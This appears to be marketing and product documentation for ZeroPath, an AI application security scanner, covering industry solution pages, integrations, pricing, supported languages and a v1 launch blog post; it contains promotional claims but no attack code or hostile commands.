**Fragmented security tools**
Multiple dashboards, no unified view of risk | **Command-center analytics**
Single pane of glass for all AppSec metrics | | **Compliance documentation burden**
Manual evidence collection for multiple frameworks | **Automated compliance mapping**
Auto-align findings to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 | | **Slow remediation cycles**
Industry average 252 days to fix critical issues | **AI-powered remediation**
Reduce critical MTTR from 21 days to 3 days | | **Tool sprawl costs**
Duplicate licensing and integration overhead | **Unified platform**
Cut duplicate tooling spend by up to 40% | ## How it Works

1. Unify

Consolidate SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix into one platform

2. Analyze

AI-driven analytics surface critical trends and predict risk trajectories

3. Govern

Policy engine enforces security standards across all teams and repositories

4. Report

Executive dashboards and compliance reports generated on-demand

## Key Capabilities ### Command-Center Analytics - **Unified scoreboard** surfaces critical counts, MTTR trends, and SLA breaches - **Risk deltas** by business unit, repository, or language - **Predictive analytics** forecast vulnerability accumulation - **Executive reporting** with drill-down capabilities ### Enterprise-Grade Architecture - **Multi-tenant console** supports MSPs and holding companies - **Granular RBAC** with immutable audit logs - **Workspace isolation** for subsidiaries and business units - **Federated authentication** with SSO/SAML support ### Compliance Automation - **Framework mapping** to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 - **Auditor-ready reports** generated on demand - **Evidence collection** automated across all scans - **Gap analysis** identifies control deficiencies ### Risk Management - **Business context** enrichment for accurate prioritization - **Custom risk scoring** based on your threat model - **Vulnerability aging** reports track technical debt - **SLA monitoring** ensures timely remediation --- ### Financial Services / Fintech **URL**: https://zeropath.com/solutions/fintech ## The Challenge Financial services organizations face unique security challenges: stringent regulations, high-value targets for fraud, and the need to innovate at startup speed. Traditional security tools weren't built for the complexity of modern fintech stacks or the velocity of digital transformation. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Leakage of PII**
Customer data exposure risks massive fines | **Natural language PII detection**
Custom rules deployed organization-wide in minutes | | **Stringent regulations**
PCI DSS 4.0, SOX, FFIEC, GLBA compliance burden | **Automated compliance mapping**
Map findings to exact controls, generate audit-ready reports with one click | | **High-value fraud target**
ATO attacks and payment fraud | **Business logic analysis**
Detect broken authentication and insecure money-movement flows with LLM-backed analysis | | **Velocity vs. security conflict**
Security slows down innovation | **Automated remediation**
Auto-patch PRs and Auto AppSec Mode keep pipelines green | | **Polyglot codebases**
Legacy COBOL to modern microservices | **20+ language support**
First-class SAST from COBOL-adjacent C/C++ to Kotlin, Rust, and Swift | | **Third-party risk**
Open-source vulnerabilities | **Integrated SCA**
Highlights EoL components, reachability, and transitive risk with CVSS 4.0 scoring | ## How it Works

1. Scan

LLM-driven analysis across SAST, SCA, secrets & IaC in one pass

2. Detect

Find PII leaks, auth flaws, and payment logic vulnerabilities

3. Comply

Auto-map to PCI DSS, SOX, GLBA controls with evidence collection

4. Remediate

AI-generated fixes that match your coding standards

## Key Capabilities ### Financial-Specific Detection - **PII leakage prevention** with custom natural language rules - **Payment flow analysis** for transaction security - **Authentication bypass detection** for ATO prevention - **Cryptographic validation** for key management compliance ### Regulatory Compliance - [**PCI DSS 4.0 Requirements 6.x** automated mapping](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) - **SOX 404** control evidence generation - **ISO 27001 Annex A** alignment - **FFIEC CAT** readiness assessments - **GLBA Safeguards** rule compliance ### Risk Management - **Real-time risk portraits** by org, repo, or team - **MTTR tracking** for vulnerability remediation - **High-risk payment flow** identification - **Third-party risk scoring** with CVSS 4.0 ### Enterprise Features - **Context-aware secrets detection** for API keys and credentials - **Granular access controls** for multi-subsidiary organizations - **MSP mode** for payment facilitators and vendors - **Immutable audit logs** for regulatory examinations ## Trusted by Leading Financial Institutions Financial services teams using ZeroPath achieve: - **95% reduction** in PII exposure incidents - **80% faster** PCI DSS audit preparation - **60% lower** false positive rates than traditional SAST - **3x faster** vulnerability remediation --- ### Governance, Risk & Compliance (GRC) Teams **URL**: https://zeropath.com/solutions/grc ## The Challenge GRC teams face increasing pressure to demonstrate continuous compliance across multiple frameworks while security, engineering, and compliance teams often hold different numbers. Traditional tools make control mapping opaque and audit preparation a last-minute scramble. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Opaque control mapping**
Findings rarely tie to ISO 27001, SOC 2, PCI-DSS controls | **Compliance-mapping engine**
Tags every vulnerability to exact sub-control with live evidence packs | | **Slow, siloed reporting**
Different teams have different numbers, leadership loses trust | **Single risk graph**
Unified dashboards with scheduled exports to Snowflake, Power BI, ServiceNow | | **Proof-of-fix gaps**
Auditors want immutable evidence of remediation | **End-to-end audit trail**
Scan logs, signed SBOMs, and verify-after-patch checks | | **Fragmented tooling spend**
Separate SAST, SCA, secrets platforms inflate costs | **Unified platform**
Eight security capabilities under one license, 40% cost reduction | ## How it Works

1. Map

Auto-align every finding to ISO 27001, SOC 2, PCI-DSS, NIST controls

2. Track

Real-time dashboards show control coverage and compliance gaps

3. Evidence

Automated collection with immutable logs and signed attestations

4. Export

One-click reports for auditors, scheduled syncs to GRC platforms

## Key Capabilities ### Control-Aligned Analytics - **Framework mapping** to ISO 27001 Annex A, PCI DSS 4.0, SOC 2, NIST - **Business unit views** slice risk by department, team, or repository - **One-click exports** generate auditor-ready compliance reports - **Gap analysis** identifies missing controls and coverage ### Immutable Audit Trail - **Tamper-proof ledger** with hashed, timestamped records - **Non-repudiation** for every scan, suppression, and patch - **Signed SBOMs** demonstrate supply chain due diligence - **Verify-after-patch** checks prove remediation effectiveness ### Supply Chain Compliance - **Live SBOM generation** for Executive Order 14028 - **EoL visibility** meets EU Cyber Resilience Act requirements - **Dependency tracking** with full transitive analysis - **License compliance** monitoring and reporting ### Governance Features - **Break-glass access** with full accountability logging - **Automatic expiry** for emergency overrides - **Role-based access** with granular permissions - **Multi-tenant support** for complex organizations ## Outcomes That Matter - **Massive reduction** in audit preparation time - **5-minute exports** replace month-long data collection - **Real-time SLA tracking** cuts critical MTTR from weeks to days - **Defensible metrics** build executive trust with consistent data ZeroPath turns continuous security testing into continuous compliance, giving GRC teams data they can depend on. --- ### Healthcare **URL**: https://zeropath.com/solutions/healthcare ## The Challenge Healthcare organizations face unique security challenges: protecting sensitive patient data, maintaining HIPAA compliance, and securing interconnected medical systems. A single PHI breach can cost millions in fines and destroy patient trust. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **PHI/PII data exposure**
Patient records leaked through code vulnerabilities | **Natural language PHI detection**
Custom rules find SSNs, medical record numbers, health data | | **HIPAA compliance burden**
Complex technical safeguards and audit requirements | **Automated HIPAA mapping**
Map findings to specific safeguards with audit trails | | **Legacy system vulnerabilities**
Outdated medical software with known flaws | **Polyglot language support**
Scan everything from COBOL to modern microservices | | **Third-party integration risks**
EHR, lab, and pharmacy system connections | **API security analysis**
Detect authentication flaws and data leakage in integrations | ## How it Works

1. Scan

Comprehensive analysis of healthcare applications and APIs

2. Detect

Find PHI exposure, access control issues, and encryption gaps

3. Comply

Auto-map to HIPAA technical safeguards and generate evidence

4. Remediate

AI-generated fixes that maintain healthcare data standards

## Key Capabilities ### Healthcare-Specific Detection - **PHI pattern recognition** for SSNs, MRNs, diagnosis codes - **HL7/FHIR security validation** for healthcare APIs - **Encryption verification** for data at rest and in transit - **Access control analysis** for role-based permissions ### Compliance Automation - **HIPAA technical safeguards** mapping (164.312) - **HITRUST CSF** control alignment - **Meaningful Use** security requirements - **State privacy law** compliance (CCPA, BIPA) ### Integration Security - **EHR integration** vulnerability scanning - **Medical device API** security assessment - **Third-party vendor** risk analysis - **Cloud HIPAA BAA** compliance verification ### Audit & Reporting - **Automated audit logs** for HIPAA requirements - **Risk assessment reports** for covered entities - **Business associate** security documentation - **Breach notification** readiness tracking ## Trusted by Healthcare Leaders Healthcare organizations using ZeroPath achieve: - **98% reduction** in PHI exposure vulnerabilities - **75% faster** HIPAA audit preparation - **60% lower** security remediation costs - **Zero** PHI breaches from application vulnerabilities --- ### Managed Security Service Providers (MSSP) **URL**: https://zeropath.com/solutions/mssp ## The Challenge Managed service teams juggle dozens of customer environments, each with its own policies, languages, and compliance demands. Analysts burn time hopping between tools, building custom reports, and explaining scan noise that customers don't want to pay for. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Multiple scanners**
Duplicate alerts and license costs across tools | **Unified platform**
One platform replaces four tools, cuts costs by 40% | | **Slow onboarding**
Delays the first invoice by weeks | **Rapid deployment**
Get clients scanning during first kickoff call | | **Manual reporting**
Analysts waste hours on evidence packs | **Automated reports**
Scheduled CSV/PDF exports with white-label branding | | **Proving value**
Difficulty showing measurable risk reduction | **Live dashboards**
Real-time MTTR and risk metrics demonstrate ROI | ## How it Works

1. Onboard

Spin up isolated workspaces for each client in minutes

2. Scan

Unified SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix across all repos

3. Manage

Multi-tenant console with granular RBAC and API automation

4. Report

White-label dashboards and automated compliance evidence

## Key Capabilities ### Multi-Tenant Architecture - **Workspace isolation** ensures complete data separation - **White-label portals** branded with your logo and colors - **Granular RBAC** with per-tenant API keys - **Federated billing** for usage-based pricing models ### Rapid Client Onboarding - **CLI and TypeScript SDK** for bulk imports - **Public/private repo** support across all VCS platforms - **Single-script deployment** for entire client estates - **Zero-touch scanning** starts during first call ### Automation at Scale - **Scheduled deep scans** run without analyst intervention - **Auto-patch pull requests** fix critical issues automatically - **Reachability analysis** reduces alerts by 90% - **CVSS 4.0 scoring** for accurate prioritization ### Client Value Demonstration - **Live dashboards** show real-time security posture - **MTTR tracking** proves remediation velocity - **Risk reduction metrics** demonstrate ROI - **Compliance mapping** for regulated clients ## Business Impact - **Onboard in < 1 day** - Get new clients scanning during kickoff - **75% alert reduction** - Focus only on actionable issues - **3x analyst efficiency** - Handle more clients without hiring - **Boost retention** - Transparent metrics keep clients engaged --- ### Secure AI-Generated Code **URL**: https://zeropath.com/solutions/secure-ai-generated-code ## The Challenge [One in three AI-generated pieces of code contains a vulnerability](https://socradar.io/every-1-of-3-ai-generated-code-is-vulnerable-exploring-insights-with-cyberseceval). As development teams increasingly rely on AI coding assistants, security risks are being introduced at an unprecedented rate. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **LLM assistants embed unsafe patterns**
Hard-coded secrets, unsanitized inputs, and broken authentication | **Context-aware SAST with AI models**
Pinpoints flaws and proposes fixes pulled from your code style | | **Developers over-trust the assistant**
Skip review assuming AI-generated code is secure | **Inline VCS integration**
GitHub/GitLab/Bitbucket checks gate insecure PRs and auto-open a patch MR | | **Traditional scanners drown you in false positives**
Noise makes it impossible to find real issues | **AI-powered accuracy**
Only actionable alerts reach your PR, each with a one-click fix | ## How it Works

1. Detect

AI-aware detections + deep-flow analysis scan every push in < 60s

2. Prioritize

Risk-rank by exploitability, data sensitivity & business logic

3. Fix

LLM generates a ready-to-merge patch and unit test

4. Verify

CI reruns the scan to guarantee the vulnerability is gone

## Key Capabilities ### AI-Specific Vulnerability Detection - **Prompt injection attacks** - Detect when user input can manipulate AI behavior - **Insecure output handling** - Catch unvalidated AI responses before they cause XSS or injection - **Training data poisoning** - Identify potential data corruption vectors - **Model denial-of-service** - Find resource exhaustion vulnerabilities - **Sensitive information disclosure** - Prevent AI from leaking confidential data ### Business Logic Detection ZeroPath understands cross-file and cross-repository data flow to catch: - Faulty authentication and authorization logic - Broken Object Level Access (BOLA) vulnerabilities - Complex race conditions and state management issues ### One-Click Autofix - Autogenerated patches that match your coding style - Natural language modification capabilities - Ready-to-merge pull requests with unit tests --- ### Security Research **URL**: https://zeropath.com/solutions/security-research Seasoned security researchers need tools that combine broad code-base coverage with pinpoint accuracy. Independent investigations have found that high false-positive rates in many static-analysis products discourage experts from using them, which in turn reduces real-world zero-day discovery (https://www.darkreading.com/application-security/software-assurance-thinking-back-looking-forward). ZeroPath equips red-teams with the depth that developer-centric scanners lack while still upholding the discipline required for responsible disclosure. ## Feature depth that accelerates discovery | Researcher need | ZeroPath capability | | --------------- | ------------------- | | **Detection of non-standard issues** | ZeroPath detects various types of non-traditional vulnerabilities like broken and missing authentication/authorization, logic flaws, amongst traditional issues like SQLi, XSS, XXE, etc. | | **Real, proven, public results** | We have a proven track record of finding and reporting issues using the tool; we’ve published them publicly on our wall of fame (https://zeropath.com/wall) | ## Key Capabilities ### Multi-format coverage Static analysis for source code, minified JavaScript, compiled binaries, Docker layers, and Android APKs, plus byte-code decompilation with automatic call-graph recovery. ### Automated PoC creation An LLM trained on public proof-of-concepts produces payload and PoCs, each annotated with pre-conditions, shortening the gap between identification and demonstration. ### Flexible export Native SARIF, and CycloneDX feeds integrate with CodeQL, Ghidra, and MITRE CALDERA for custom pipelines. --- ### Security Teams **URL**: https://zeropath.com/solutions/security-teams ## The Challenge Apps change daily, attack techniques change hourly, and your board wants a single risk number now. Spreadsheets can't keep up, and siloed findings bury you in triage work. Security teams need real-time visibility and control at enterprise scale. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Tool sprawl and noise**
Multiple scanners create duplicate alerts | **Unified AppSec Graph**
Combines SAST, SCA, IaC, secrets in one view | | **False positive overload**
Teams waste time on non-issues | **Intelligent severity scoring**
CVSS 4.0-aligned scoring spotlights material risk | | **Limited visibility**
No unified view across teams and repos | **Multi-level analytics**
Organization, team, and repo-level dashboards | | **Slow reporting**
Manual reports take weeks to prepare | **Board-ready dashboards**
Live metrics and scheduled exports in minutes | ## How it Works

1. Unify

Consolidate all AppSec tools into a single platform

2. Analyze

AI-driven analysis with reachability and exploitability scoring

3. Prioritize

Focus on material risks using CVSS 4.0 and business context

4. Report

Executive dashboards and compliance evidence on-demand

## Key Capabilities ### Unified AppSec Platform - **Single pane of glass** for SAST, SCA, IaC, and secrets - **Cross-tool correlation** eliminates duplicate findings - **Reachability analysis** shows exploitable paths - **Dependency tracking** with full transitive analysis ### Intelligent Risk Scoring - **CVSS 4.0 alignment** for industry-standard scoring - **Business context enrichment** for accurate prioritization - **Exploitability assessment** based on real attack patterns - **Material risk focus** filters out cosmetic issues ### Enterprise Analytics - **Multi-level dashboards** from org to individual repos - **MTTR tracking** across teams and technologies - **Top vulnerability classes** by CWE categories - **Risk by language** and technology stack - **Export to SIEM** platforms (Splunk, Snowflake) ### Governance & Compliance - **Granular RBAC** for team-based access control - **MSP workspaces** for multi-business unit management - **Immutable audit logs** for compliance requirements - **SBOM generation** and API-driven attestations - **Framework alignment** for FedRAMP, SOC 2, ISO 27001 ## See It In Action
ZeroPath security team dashboard showing unified risk view and analytics
## Outcomes That Matter - **Secure at scale** - Hundreds of integrations into developer workflows - **Minutes not weeks** - Board-level reporting with live dashboards - **Unified risk view** - Single source of truth for AppSec posture --- ### Software Supply Chain Security **URL**: https://zeropath.com/solutions/supply-chain-security ## The Challenge [Sonatype's ten-year retrospective shows supply-chain attacks doubling again in 2024](https://investor.synopsys.com/news/news-details/2024/New-Synopsys-Report-Finds-74-of-Codebases-Contained-High-Risk-Open-Source-Vulnerabilities-Surging-54-Since-Last-Year/default.aspx). Conventional Software Composition Analysis tools generate mountains of unreachable CVE alerts, overwhelming security teams and delaying critical upgrades. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Alert overload**
Thousands of CVEs, most never executed | **Reachability analysis**
Only flags libraries actually invoked by your code | | **Unmaintained dependencies**
74% of projects use abandoned packages | **End-of-life detection**
Identifies packages without active maintainers | | **License compliance risk**
Manual tracking of OSS licenses | **Built-in compliance**
Automated license scanning with CycloneDX SBOMs | | **Cross-tool blind spots**
Secrets in dependencies go undetected | **Unified analysis**
Correlates secrets, IaC misconfigs, and vulnerable deps | ## How it Works

1. Discover

Map your entire dependency tree including transitive dependencies

2. Analyze

Call-graph analysis identifies which code paths are actually reachable

3. Prioritize

Focus only on exploitable vulnerabilities in your execution paths

4. Remediate

AI-suggested upgrades that won't break your application

## Key Capabilities ### Reachability-First Analysis - **Call-graph walking** to trace actual code execution - **90% alert reduction** compared to traditional SCA - **Function-level precision** for vulnerability assessment - **Cross-language support** for polyglot applications ### Supply Chain Intelligence - **End-of-life detection** for abandoned packages - **Maintainer analysis** to assess project health - **Update velocity tracking** for security responsiveness - **Fork detection** to identify unofficial versions ### Compliance & Governance - **License compatibility** checking across dependencies - **CycloneDX SBOM** generation with one click - **Export to VEX** for vulnerability exchange - **Policy enforcement** for approved package lists ### Unified Risk View - **Secrets in dependencies** detection and correlation - **IaC misconfigurations** that amplify supply chain risk - **Attack path modeling** from vulnerable dep to exploit - **Business impact scoring** based on data sensitivity --- ## Enterprise Security Suite ### Identity & Access Management - **SAML 2.0 & OAuth**: Seamless integration with Okta, Auth0, Azure AD, Google Workspace - **Team-Based Access Control**: Granular permissions aligned with organizational structure - **Break-Glass Access**: Emergency override capabilities with full audit trail - **Multi-Factor Authentication**: Enhanced security for sensitive operations ### Scale & Performance - **Massive Codebase Support**: Tested with repositories exceeding 5 million lines - **Parallel Processing**: Scan multiple repositories simultaneously - **Distributed Architecture**: Horizontally scalable for enterprise needs - **API Rate Limits**: Enterprise-grade limits available ### Compliance & Governance - **Certifications**: SOC 2 Type II, ISO 27001 (in progress) - **Compliance Frameworks**: GDPR, CCPA, HIPAA, PCI-DSS ready - **Audit Logging**: Complete activity tracking for compliance - **Data Residency**: EU and US data center options ## Integration Ecosystem ### Version Control Systems - GitHub (Cloud & Enterprise) - GitLab (Cloud & Self-hosted) - Bitbucket (Cloud & Server) - Azure DevOps ### CI/CD Platforms - Jenkins - GitHub Actions - GitLab CI - CircleCI - Travis CI - Azure Pipelines - Bitbucket Pipelines ### Developer Tools & Collaboration - VS Code Extension - IntelliJ IDEA Plugin - Slack Integration - Microsoft Teams - Jira Integration - ServiceNow - Linear ### API & Developer Resources #### RESTful API - **Documentation**: https://zeropath.com/docs - **Authentication**: API key and OAuth 2.0 - **Rate Limits**: Enterprise-grade limits - **Response Format**: JSON with comprehensive error handling #### Command Line Interface (CLI) - **Repository**: https://github.com/ZeroPathAI/zeropath-cli - **Features**: Local scanning, CI/CD integration, offline mode - **Installation**: `npm install -g @zeropath/cli` - **License**: Apache 2.0 #### SDKs & Libraries - **TypeScript/JavaScript**: https://www.npmjs.com/package/zeropath - Full TypeScript support with type definitions - Promise-based API for modern async/await patterns - Comprehensive error handling and retry logic - **Python SDK**: Coming Q2 2025 - **Go SDK**: Coming Q3 2025 #### MCP (Model Context Protocol) Server - **Repository**: https://github.com/ZeroPathAI/zeropath-mcp-server - **Purpose**: Enable AI assistants to analyze code security - **Compatible With**: Claude, GPT-4, and other LLMs - **Use Cases**: Automated security reviews, vulnerability explanations ## Technology & Innovation ### AI/ML Capabilities - **Context Understanding**: Analyzes code flow and business logic - **Continuous Learning**: Models improve with customer feedback - **Language Support**: 35+ programming languages and frameworks ### Security Research - **Open Source Contributions**: Active maintainers of security tools - **Blog**: Regular security research and vulnerability analysis ## Pricing & Plans ### Free - $0/month - 1 repository - Unlimited PR scans - 1 trial full scan - Top 10 issues only - 3 patches - Community support ### Core - $200/month - Up to 25 repositories - Unlimited PR scans - Weekly full scans - Unlimited issues - Unlimited patches - Email support - Basic integrations ### Enterprise - Custom - Unlimited repositories - Unlimited scans - SSO/SAML authentication - Dedicated support - Custom policies - Managed services - SLA guarantees - Professional services ### Custom Enterprise Solutions - Volume licensing for large organizations - Professional services and training - Dedicated customer success manager - Custom SLA and support agreements ## Platform Capabilities ### Language & Framework Support #### Programming Languages (35+) - **Mainstream**: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP - **Systems**: C, C++, Rust, Swift, Kotlin, Objective-C - **Specialized**: Scala, Perl, R, MATLAB, Shell, PowerShell - **Mobile**: Swift (iOS), Kotlin/Java (Android), React Native, Flutter #### Web Frameworks - **JavaScript**: React, Vue, Angular, Next.js, Express, Node.js - **Python**: Django, Flask, FastAPI, Pyramid - **Java**: Spring, Spring Boot, Struts, Play - **Ruby**: Rails, Sinatra, Hanami - **PHP**: Laravel, Symfony, WordPress, Drupal #### Package Managers - **JavaScript**: npm, yarn, pnpm, bower - **Python**: pip, pipenv, poetry, conda - **Java**: Maven, Gradle, Ant - **Ruby**: RubyGems, Bundler - **.NET**: NuGet, Paket - **Go**: Go Modules, dep - **Rust**: Cargo - **PHP**: Composer ### Security Coverage #### Vulnerability Categories - **OWASP Top 10**: Complete coverage with AI-enhanced detection - **CWE Top 25**: Advanced pattern recognition for dangerous weaknesses - **Business Logic**: Authentication bypasses, authorization flaws - **API Security**: REST, GraphQL, gRPC vulnerability detection - **Cloud Security**: AWS, Azure, GCP misconfigurations - **Mobile Security**: iOS/Android specific vulnerabilities #### Compliance Standards - **Industry**: PCI-DSS, HIPAA, SOC 2, ISO 27001 - **Regional**: GDPR (EU), CCPA (California), LGPD (Brazil) - **Government**: FedRAMP, NIST 800-53, FISMA - **Financial**: SWIFT CSP, PSD2, Basel III ## Recent Blog Posts & Research *Note: Showing the most recent 50 blog posts with full content. For a complete list, visit https://zeropath.com/blog* ### Product (4 most recent of 4 total) #### Introducing ZeroPath: The Security Platform That Actually Understands Your Code - **Date**: August 12, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 12 minutes - **Keywords**: ZeroPath, Application Security, SAST, AI Security, Code Scanning, Vulnerability Detection, AST Analysis, DevSecOps, Security Automation - **URL**: https://zeropath.com/blog/introducing-zeropath-v1 Announcing the official v1 launch of ZeroPath, an AI-powered application security platform trusted by 750+ companies and performing 125,000+ code scans monthly. Learn how ZeroPath combines LLMs with AST analysis to deliver contextual vulnerability detection and one-click patch generation. --- # Introducing ZeroPath: The Security Platform That Actually Understands Your Code Today, we're thrilled to announce the official v1 launch of ZeroPath, an AI-powered application security platform that fundamentally changes how development teams approach code security. Already trusted by **750+ companies** and performing **125,000+ code scans monthly**, ZeroPath is proving that security tooling can be both powerful and practical. ## Why We Built ZeroPath Every security engineer knows the pain: traditional SAST tools flood you with false positives, miss critical business logic flaws, and leave you manually writing patches for hours. We've lived this frustration firsthand through years of security research and engineering. That's why we built ZeroPath. It's a security platform that combines the power of Large Language Models with battle-tested security analysis to deliver something unprecedented: a tool that truly understands your code's context and automatically generates accurate fixes. ## ZeroPath By the Numbers - **750+** companies secured - **125,000+** code scans monthly - **<60 seconds** PR scan time - **18** supported languages and frameworks - **Zero-days** found on repos owned and maintained by Netflix, Hulu, and Salesforce ## Real-World Impact Before we dive into features, let's talk results. ZeroPath is already trusted by **750+ companies** and performs **125,000+ code scans monthly**. We've discovered critical zero-day vulnerabilities in production codebases at Netflix, Hulu, and Salesforce. These weren't simple SQL injections. They were complex security issues that required deep contextual understanding of the applications. ## Trusted Across Industries ZeroPath secures mission-critical applications across highly regulated industries: - **Fintech & Finance**: Protecting financial transactions and sensitive customer data - **Healthcare & HealthTech**: Ensuring HIPAA compliance and patient data security - **Cryptocurrency**: Securing smart contracts and blockchain applications - **Service & Food Industry**: Safeguarding customer information and payment systems Each industry brings unique security challenges, and ZeroPath's contextual understanding adapts to domain-specific requirements and compliance needs. ## What Makes ZeroPath Different ### 1. **Contextual Intelligence** Unlike traditional SAST tools that rely on pattern matching, ZeroPath uses LLMs combined with Abstract Syntax Tree (AST) analysis to understand your entire codebase context. This means: - Dramatically reduced false positives through structural code understanding - Detection of complex vulnerabilities that traditional tools miss: - **Business logic flaws** that require understanding application flow - **Authentication and authorization bypasses** (AuthN/AuthZ) - **Modern threats** like prompt injection in LLM-integrated applications - Intelligent severity scoring using CVSS 4.0 based on actual exploitability The AST-based analysis allows ZeroPath to understand code relationships, data flows, and architectural patterns that simple pattern matching could never catch. ZeroPath continuously updates its detection capabilities as new vulnerability classes emerge. When prompt injection became a concern, ZeroPath users were already protected. You never have to worry about keeping up with the latest security threats. **Real Example**: Traditional tools might flag every database query as potentially vulnerable to SQL injection. ZeroPath understands when queries are properly parameterized, when input validation is sufficient, and when the data flow makes exploitation impossible. This context-aware approach reduces false positives by over 75% compared to pattern-based tools. ### 2. **One-Click Patch Generation** Stop wasting developer hours writing security patches. ZeroPath generates precise, contextually-aware fixes that you can apply with a single click. Before any patch is suggested, ZeroPath validates that it will fix the vulnerability without breaking existing functionality or altering intended application behavior. Need modifications? Use natural language to adjust patches to your coding standards. **Example**: "Make this patch follow our team's error handling pattern" or "Add logging to this security fix" ### 3. **SAST Tool Consolidation & Auto-Fix** Already invested in traditional SAST tools? ZeroPath transforms them from noise generators into actionable security solutions. We centralize results from your existing SAST tools and run them through our advanced validation and patching pipeline: **Supported SAST Tools:** - **Semgrep** - **Snyk** - **Checkmarx** - **SonarQube** - **Veracode** - **Fortify** - **Synopsys** **How It Works:** 1. **Import findings** from any supported SAST tool 2. **Intelligent validation** using our AST and LLM analysis to eliminate false positives 3. **Automatic patch generation** for validated vulnerabilities 4. **One-click fixes** that respect your codebase context and standards This means you can keep your existing security investments while dramatically improving their effectiveness. Turn thousands of unactionable findings into a manageable list of real issues with ready-to-apply fixes. ### 4. **Lightning-Fast PR Scanning** With PR scan times under 60 seconds, ZeroPath integrates seamlessly into your CI/CD pipeline without slowing down development. Every pull request is automatically scanned before merge, with patches generated for any issues found. Full repository scans comprehensively analyze your entire codebase to build complete context and catch cross-file vulnerabilities. ### 5. **1-Minute Setup, Immediate Value** Large enterprises often spend weeks integrating security tools. With ZeroPath: - Connect your VCS in one click - Configure team permissions - Start scanning immediately - See your first results in under 60 seconds No complex agents to install, no infrastructure to provision. Just instant security insights. ### 6. **Comprehensive Security Coverage** ZeroPath is truly all-in-one: - **Advanced SAST**: Beyond SQL injection and XSS, we detect: - Business logic vulnerabilities - Authentication and authorization flaws - Prompt injection and LLM security issues - SSRF, XXE, and other complex attack vectors - **SCA**: Dependency scanning with integrated reachability analysis and EoL detection - **Secrets Detection**: Find exposed API keys and credentials - **IaC Security**: Secure your infrastructure-as-code - **SBOM Generation**: Export complete software bills of materials - **External SAST Integration**: Validate and auto-fix findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys ### 7. **Keeping Pace with Modern AppSec** As applications evolve, so do attack vectors. ZeroPath is built to adapt: - **AI/LLM Security**: First-class support for detecting prompt injection and other AI-specific vulnerabilities - **API Security**: Deep analysis of REST, GraphQL, and gRPC endpoints - **Cloud-Native**: Understanding of serverless, containers, and microservices patterns - **Supply Chain**: Comprehensive dependency analysis with reachability ### 8. **Intelligent False Positive Reduction** - **False Positive Feedback**: Mark findings as false positives with a reason, and ZeroPath uses this feedback to filter similar false positives in future scans, reducing noise over time and ensuring your team focuses on real security issues. ## Key Features in v1 ### Developer Experience - **Sub-60 second PR scans** that don't block your workflow - **Comprehensive full repository scans** for complete security analysis - **Natural language rules** to define custom security policies - Example: "Flag any API endpoint that doesn't check user permissions" - Example: "Alert on database queries constructed from user input" - **Vulnerability Q&A**: chat with our AI about any finding to understand remediation and exploitation - **Source-to-sink visibility** showing complete vulnerability paths - **Automatic issue attribution**: vulnerabilities are assigned to the developer who introduced them - **Scan cancellation**: stop long-running scans when needed - **Detailed scan logs**: full visibility into what ZeroPath analyzed - **Source type selection**: Focus scans on specific input sources (CLI, file, socket, WebSocket, HTTP, browser, stdin, and more) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)**: Available for CI/CD integration, local use, and automation workflows ### Enterprise Ready - **Multi-VCS support**: GitHub, GitLab, Bitbucket, and Azure Pipelines - **Enterprise SSO** for seamless authentication - **Team-based ACLs** with granular permissions - **MSP support** for managing multiple organizations - **Audit logs** and compliance reporting - **Break-glass access** to bypass failing PR scan checks when needed - **Custom formatting** for PR titles, descriptions, branch names, and commit messages - **Repository tags from GitHub**: Automatically retrieves and uses GitHub repository topics/tags for policy administration and contextual scanning at scale - **1-minute integration** for organizations of any size ### Flexible Scanning Options - **Repository scanning**: public and private repos across any git platform - **Directory uploads**: scan code without VCS integration - **Scheduled scans**: continuous monitoring on your schedule - **Repository whitelisting/blacklisting**: focus on what matters - **Permissiveness levels**: adjust for security research or penetration testing ### Integrations That Matter - **Jira & Linear** for seamless issue tracking with automatic assignment - **Slack & Email** notifications with smart developer attribution - **Existing SAST tools**: Centralize and enhance results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys with validation and auto-patching - **Fully documented API** [with TypeScript SDK](https://zeropath.com/docs/api-reference/organizations/list-organizations) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)** for automation and CI/CD workflows ### Intelligent Automation - **Auto AppSec Mode**: Schedule scans and automatically create PRs for high-severity issues - **Smart Attribution**: Automatically assign issues to the developer who introduced them via git history - **Natural language patch modification**: Customize fixes to match your standards - **Monorepo intelligence**: Automatically detect multiple applications in complex repositories - **Custom PR formatting**: Configure PR titles, descriptions, branch names, and commit messages to match your team's conventions - **SAST findings auto-fix**: Automatically generate and apply patches for validated findings from external SAST tools ### Advanced Analytics & Reporting Generate repository, organization, or team-level insights including: - Mean time to remediation - Most common vulnerability patterns by team, language, and framework - Developer security metrics - Vulnerability trends over time - CWE mapping for compliance requirements - Custom reports for stakeholders - Comparison reports showing improvements from SAST tool validation ### Codebase Intelligence & Inventory ZeroPath doesn't just scan your code. It understands your entire technology landscape: - **Automatic tech stack discovery**: Maps out frameworks, libraries, and technologies in use - **Authentication/authorization mapping**: Identifies how each application handles authN/authZ - **Application structure analysis**: Understands file paths, naming conventions, and architectural patterns - **Organization-wide inventory**: Maintains a searchable database of all your applications and their characteristics - **GitHub repository tags integration**: Leverages repository topics/tags for automated policy application, enabling you to define security rules by project type (e.g., "production", "internal-tool", "deprecated") and manage thousands of repositories at scale - **API-queryable insights**: 